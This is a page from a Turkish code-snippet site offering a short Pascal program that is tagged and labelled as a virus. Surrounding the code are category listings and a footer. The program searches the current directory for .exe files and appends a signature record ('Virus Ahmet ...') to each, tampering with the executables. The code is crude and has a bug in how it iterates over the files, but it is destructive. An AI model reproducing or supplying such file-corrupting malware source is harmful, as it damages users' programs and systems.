Programalama > PASCAL

Etiketler: pascalda, yazilmis, virüs

Ort. 0
Puan ver:
uses crt,dos;
 type
   tip=record
        sozcuk:string[30];
       end;
 var
    DirInfo: SearchRec;
   kutuk:file of tip;
   kd   :tip;
   dosya:string[20];
   begin
   FindFirst('*.exe', Archive, DirInfo);
      while DosError = 0 do
 begin
   Writeln(DirInfo.Name);
   FindNext(DirInfo);
     assign(kutuk,dirinfo.name);
     {$I-}
     reset(kutuk);
          if ioresult<>0 then
             begin
               rewrite(kutuk);
               close(kutuk);
               reset(kutuk);
             end;
             {$I+}
             seek(kutuk,filesize(kutuk));
             kd.sozcuk:='Virus Ahmet &#8482;ZG&#353;VEN';
             write(KUTUK,KD);
             end;
   END.

design by seyys
uslucocuk1@msn.com


Yorumlar                 Yorum Yaz
Bu hazır kod'a ilk yorumu siz yapın!
KATEGORİLER
ASP - 240
ASP.NET - 24
C# - 75
C++ - 174
CGI - 8
DELPHI - 247
FLASH - 49
HTML - 536
PASCAL - 246
PERL - 11
PHP - 160
WML - 9
XML - 2
Copyright © 2002 - 2024 Hazır Kod - Tüm Hakları Saklıdır.
Siteden yararlanırken gizlilik ilkelerini okumanızı tavsiye ederiz.
hazirkod.com bir İSOBİL projesidir.